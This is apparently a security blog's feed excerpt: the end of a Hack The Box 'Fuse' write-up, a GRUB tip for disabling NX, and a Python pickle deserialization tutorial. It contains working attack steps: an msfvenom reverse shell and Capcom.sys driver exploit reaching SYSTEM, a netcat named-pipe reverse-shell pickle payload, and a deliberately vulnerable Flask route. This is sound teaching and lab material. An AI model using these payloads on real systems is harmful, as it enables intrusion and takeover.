&lt;pre tabindex="0"&gt;&lt;code&gt;$ cme smb 10.10.10.193 -u svc-print -p &amp;#39;$fab@s3Rv1ce$1&amp;#39;

SMB 10.10.10.193 445 FUSE [*] Windows Server 2016 Standard 14393 x64 (name:FUSE) (domain:fabricorp.local) (signing:True) (SMBv1:True)
SMB 10.10.10.193 445 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Do we also have access via WinRM?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cme winrm 10.10.10.193 -u svc-print -p &amp;#39;$fab@s3Rv1ce$1&amp;#39;

WINRM 10.10.10.193 5985 FUSE [*] Windows 10.0 Build 14393 (name:FUSE) (domain:fabricorp.local)
WINRM 10.10.10.193 5985 FUSE [*] http://10.10.10.193:5985/wsman
WINRM 10.10.10.193 5985 FUSE [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This looks good. We can get our first shell via WinRM.&lt;/p&gt;
&lt;h2 id="privilege-escalation-from-svc-print-using-seloaddriverprivilege"&gt;Privilege Escalation from svc-print using SeLoadDriverPrivilege&lt;/h2&gt;
&lt;p&gt;To get a PowerShell shell, we can use &lt;code&gt;evil-winrm&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;evil-winrm -i 10.10.10.193 -u svc-print -p &amp;#39;$fab@s3Rv1ce$1&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first thing we run with our low-priv user is a &lt;code&gt;whoami /all&lt;/code&gt; to check what we are allowed to do.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Users\svc-print\Documents&amp;gt; whoami /all

USER INFORMATION
----------------

User Name SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104


GROUP INFORMATION
-----------------
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts Group S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Not only are we a member of &lt;code&gt;Remote Management Users&lt;/code&gt; (we knew that), but also of &lt;code&gt;Print Operators&lt;/code&gt;. This gives us the &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; which allows to load device drivers – and potentially opens up a path to elevate our privileges to SYSTEM by abusing a vulnerable driver&amp;rsquo;s functionality in combination with a registry entry we can control (HKCU) and pass to the LoadDriver API.&lt;/p&gt;
&lt;p&gt;Have a look at the blog post &lt;a href="https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/"&gt;Abusing SeLoadDriverPrivilege for privilege escalation&lt;/a&gt; for a good overview of the mechanics of this attack.&lt;/p&gt;
&lt;p&gt;Just like in the article, we can use the &lt;a href="https://github.com/TarlogicSecurity/EoPLoadDriver/"&gt;EoPLoadDriver&lt;/a&gt; proof-of-concept tool and the signed Capcom.sys driver together with the public &lt;a href="https://github.com/tandasat/ExploitCapcom"&gt;&lt;code&gt;ExploitCapcom&lt;/code&gt; exploit from GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;First, we switch over to a Windows system, clone the EiPLoadDriver repository and compile &lt;code&gt;EoPLoadDriver.cpp&lt;/code&gt;. Next, we clone the &lt;code&gt;ExploitCapcom&lt;/code&gt; repo (it already comes with a Visual Studio solution file), but make a slight adjustment before compiling.&lt;/p&gt;
&lt;p&gt;In the &lt;code&gt;LaunchShell&lt;/code&gt; function we &amp;ldquo;quick and dirty&amp;rdquo; call our own reverse shell, instead of &lt;code&gt;cmd.exe&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;static bool LaunchShell()
{
 TCHAR CommandLine[] = TEXT(&amp;#34;C:\\Windows\\Temp\\revshell.exe&amp;#34;);
 [...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can now build the app and move on to creating a small reverse shell with &lt;code&gt;msfvenom&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.20 LPORT=80 -f exe -o revshell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The only thing that is left is the Capcom.sys driver. I found a copy matching the checksum &lt;a href="https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys"&gt;on GitHub in the Capcom-Rootkit repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;With the four files at hand, we are ready to drop some binaries on the target.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;m using the upload functionality inside &lt;code&gt;evil-winrm&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;upload EopLoadDriver.exe
upload Capcom.sys
upload ExploitCapcom.exe
upload revshell.exe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we prepare the netcat listener on our machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -lvnp 80
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And then run the exploit:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;*Evil-WinRM* PS C:\Windows\Temp&amp;gt; .\EopLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\Windows\Temp&amp;gt; .\ExploitCapcom.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000018A080A0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And we get our SYSTEM shell back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.193.
Ncat: Connection from 10.10.10.193:49747.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\Temp&amp;gt;whoami
whoami
nt authority\system
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Disabling NX in Linux via Kernel Parameter (using GRUB)</title><link>https://davidhamann.de/2020/09/09/disable-nx-on-linux/</link><pubDate>Wed, 09 Sep 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/09/09/disable-nx-on-linux/</guid><description>&lt;p&gt;To boot Linux without Data Execution Prevention, so that the OS doesn&amp;rsquo;t mark certain memory regions as non-executable, we&amp;hellip;&lt;/p&gt;
&lt;p&gt;1.) &amp;hellip; boot and enter the GRUB menu (hold &lt;code&gt;Shift&lt;/code&gt;-key on boot*)&lt;/p&gt;
&lt;p&gt;&lt;img alt="GRUB menu" loading="lazy" src="https://davidhamann.de/images/grub-menu.png"&gt;&lt;/p&gt;
&lt;p&gt;2.) &amp;hellip; select the OS and press &lt;code&gt;e&lt;/code&gt; to edit the commands and &lt;a href="https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt"&gt;kernel parameters&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Kernel parameters" loading="lazy" src="https://davidhamann.de/images/grub-kernel-params.png"&gt;&lt;/p&gt;
&lt;p&gt;3.) &amp;hellip; add &lt;code&gt;noexec=off&lt;/code&gt; and/or &lt;code&gt;noexec32=off&lt;/code&gt; (depending on what you want) in the &lt;code&gt;linux&lt;/code&gt; line&lt;/p&gt;
&lt;p&gt;&lt;img alt="Adding noexec flags" loading="lazy" src="https://davidhamann.de/images/noexec-kernel-params.jpg"&gt;&lt;/p&gt;
&lt;p&gt;4.) &amp;hellip; then boot with &lt;code&gt;Ctrl-x&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After booting, we should find the option disabled in the &lt;code&gt;dmesg&lt;/code&gt; output:&lt;/p&gt;
&lt;p&gt;&lt;img alt="dmesg output" loading="lazy" src="https://davidhamann.de/images/dmesg-noexec.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Now we should be able to overflow and execute all the things :-)&lt;/p&gt;
&lt;hr&gt;
&lt;div class="notice notice-info"&gt;
 * Tip: If you&amp;rsquo;re booting a VM and are not fast enough to interrupt the boot to access the menu, add a boot delay to your VM options (for ESXI it is in &lt;code&gt;Settings -&amp;gt; VM Options -&amp;gt; Boot Options -&amp;gt; Boot Delay&lt;/code&gt;).
&lt;/div&gt;
</description></item><item><title>Exploiting Python pickles</title><link>https://davidhamann.de/2020/04/05/exploiting-python-pickle/</link><pubDate>Sun, 05 Apr 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/04/05/exploiting-python-pickle/</guid><description>&lt;p&gt;In a recent challenge I needed to get access to a system by exploiting the way Python deserializes data using the &lt;code&gt;pickle&lt;/code&gt; module. In this article I want to give a quick introduction of how to pickle/unpickle data, highlight the issues that can arise when your program deals with data from untrusted sources and &amp;ldquo;dump&amp;rdquo; my own notes.&lt;/p&gt;
&lt;p&gt;For running the example code I&amp;rsquo;m using Python 3.8.2 on macOS 10.15; the demonstration of the reverse shell is just a connect-back to a loopback address.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 TL;DR: Never unpickle data from sources you don&amp;rsquo;t trust. Otherwise you open your app up to a relatively simple way of remote code execution.
&lt;/div&gt;

&lt;h2 id="what-is-pickle"&gt;What is &lt;code&gt;pickle&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;In Python, the &lt;code&gt;pickle&lt;/code&gt; module lets you serialize and deserialize data. Essentially, this means that you can convert a Python object into a stream of bytes and then reconstruct it (including the object&amp;rsquo;s internal structure) later in a different process or environment by loading that stream of bytes.&lt;/p&gt;
&lt;p&gt;When consulting the &lt;a href="https://docs.python.org/3/library/pickle.html"&gt;Python docs for &lt;code&gt;pickle&lt;/code&gt;&lt;/a&gt; one cannot miss the following warning:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; The pickle module &lt;strong&gt;is not secure&lt;/strong&gt;. Only unpickle data you trust.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&amp;rsquo;s find out why that is and how unpickling untrusted data could ruin your day.&lt;/p&gt;
&lt;h2 id="how-to-dump-and-load"&gt;How to dump and load?&lt;/h2&gt;
&lt;p&gt;In Python you can serialize objects by using &lt;code&gt;pickle.dumps()&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pickle&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;me&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The pickled representation we&amp;rsquo;re getting back from &lt;code&gt;dumps&lt;/code&gt; will look like this:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;b&amp;#39;\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x06pickle\x94\x8c\x02me\x94K\x01K\x02K\x03e.&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And now reading the serialized data back in&amp;hellip;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00&lt;/span&gt;&lt;span class="s1"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\x94&lt;/span&gt;&lt;span class="s1"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\x8c\x06&lt;/span&gt;&lt;span class="s1"&gt;pickle&lt;/span&gt;&lt;span class="se"&gt;\x94\x8c\x02&lt;/span&gt;&lt;span class="s1"&gt;me&lt;/span&gt;&lt;span class="se"&gt;\x94&lt;/span&gt;&lt;span class="s1"&gt;K&lt;/span&gt;&lt;span class="se"&gt;\x01&lt;/span&gt;&lt;span class="s1"&gt;K&lt;/span&gt;&lt;span class="se"&gt;\x02&lt;/span&gt;&lt;span class="s1"&gt;K&lt;/span&gt;&lt;span class="se"&gt;\x03&lt;/span&gt;&lt;span class="s1"&gt;e.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&amp;hellip;will give us our list object back:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[&amp;#39;pickle&amp;#39;, &amp;#39;me&amp;#39;, 1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What is actually happening behind the scenes is that the byte-stream created by &lt;code&gt;dumps&lt;/code&gt; contains opcodes that are then one-by-one executed as soon as we load the pickle back in. If you are curious how the instructions in this pickle look like, you can use &lt;code&gt;pickletools&lt;/code&gt; to create a disassembly: &lt;code&gt;pickletools.dis(pickled)&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; pickled = pickle.dumps([&amp;#39;pickle&amp;#39;, &amp;#39;me&amp;#39;, 1, 2, 3])
&amp;gt;&amp;gt;&amp;gt; import pickletools
&amp;gt;&amp;gt;&amp;gt; pickletools.dis(pickled)
 0: \x80 PROTO 4
 2: \x95 FRAME 25
 11: ] EMPTY_LIST
 12: \x94 MEMOIZE (as 0)
 13: ( MARK
 14: \x8c SHORT_BINUNICODE &amp;#39;pickle&amp;#39;
 22: \x94 MEMOIZE (as 1)
 23: \x8c SHORT_BINUNICODE &amp;#39;me&amp;#39;
 27: \x94 MEMOIZE (as 2)
 28: K BININT1 1
 30: K BININT1 2
 32: K BININT1 3
 34: e APPENDS (MARK at 13)
 35: . STOP
highest protocol among opcodes = 4
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="controlling-the-behavior-of-picklingunpickling"&gt;Controlling the behavior of pickling/unpickling&lt;/h2&gt;
&lt;p&gt;Not every object can be serialized (e.g. file handles) and pickling and unpickling certain objects (like functions or classes) comes with restrictions. The Python docs give you a good overview &lt;a href="https://docs.python.org/3/library/pickle.html#what-can-be-pickled-and-unpickled"&gt;what can and cannot be pickled&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While in most cases you don&amp;rsquo;t need to do anything special to make an object &amp;ldquo;picklable&amp;rdquo;, &lt;code&gt;pickle&lt;/code&gt; still allows you to define a custom behavior for the pickling process for your class instances.&lt;/p&gt;
&lt;p&gt;Reading a bit further down in the docs we can see that implementing &lt;code&gt;__reduce__&lt;/code&gt; is exactly what we would need to get code execution, when viewed from an attacker&amp;rsquo;s perspective:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;__reduce__()&lt;/code&gt; method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”).
[&amp;hellip;]
When a tuple is returned, it must be between two and six items long. Optional items can either be omitted, or None can be provided as their value. The semantics of each item are in order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A callable object that will be called to create the initial version of the object.&lt;/li&gt;
&lt;li&gt;A tuple of arguments for the callable object. An empty tuple must be given if the callable does not accept any argument.
[&amp;hellip;]&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;So by implementing &lt;code&gt;__reduce__&lt;/code&gt; in a class which instances we are going to pickle, we can give the pickling process a callable plus some arguments to run. While intended for reconstructing objects, we can abuse this for getting our own reverse shell code executed.&lt;/p&gt;
&lt;h2 id="creating-a-vulnerable-app"&gt;Creating a vulnerable app&lt;/h2&gt;
&lt;p&gt;Now that we have a basic idea of how to create dangerous data to unpickle, let&amp;rsquo;s build a vulnerable app for demonstration purposes.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll use the web framework &lt;a href="https://flask.palletsprojects.com"&gt;Flask&lt;/a&gt; to create a small web application with one route.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s install Flask in a new virtual environment:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# setup virtualenv
virtualenv venv --python=/your/path/to/python

# activate
source venv/bin/activate

# install Flask
pip install Flask
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And now create &lt;code&gt;app.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="vm"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/hackme&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hackme&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlsafe_b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pickled&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;deserialized&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# do something with deserialized or just&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# get pwned.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;204&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;At &lt;code&gt;/hackme&lt;/code&gt; we implement a POST route that takes form data &lt;code&gt;pickled&lt;/code&gt;. The data comes encoded in base64 (for transfer), is decoded and then unpickled.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s run the app with &lt;code&gt;flask run&lt;/code&gt; and then prepare our malicious pickled data to send.&lt;/p&gt;
&lt;h2 id="creating-the-exploit"&gt;Creating the exploit&lt;/h2&gt;
&lt;p&gt;As described above we want to create a class that implements &lt;code&gt;__reduce__&lt;/code&gt; and then serialize an instance of that class.&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;ll call our class &lt;code&gt;RCE&lt;/code&gt; and let its &lt;code&gt;__reduce__&lt;/code&gt; method return a tuple of a callable and a tuple of arguments (as per the mentioned docs).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RCE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__reduce__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | &amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;/bin/sh -i 2&amp;gt;&amp;amp;1 | nc 127.0.0.1 1234 &amp;gt; /tmp/f&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;pickled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RCE&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlsafe_b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickled&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our callable will be &lt;code&gt;os.system&lt;/code&gt; and the argument a common reverse shell snippet using a named pipe, that will run on our macOS demo machine.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s run the exploit script to create a base64 encoded pickle byte stream:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ python exploit.py
b&amp;#39;gASVbgAAAAAAAACMBX...
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 If you run &lt;code&gt;pickletools.dis&lt;/code&gt; again, you will see the &lt;code&gt;system&lt;/code&gt; callable plus arguments and the &lt;code&gt;REDUCE&lt;/code&gt; opcode (&lt;code&gt;R&lt;/code&gt;).
&lt;/div&gt;

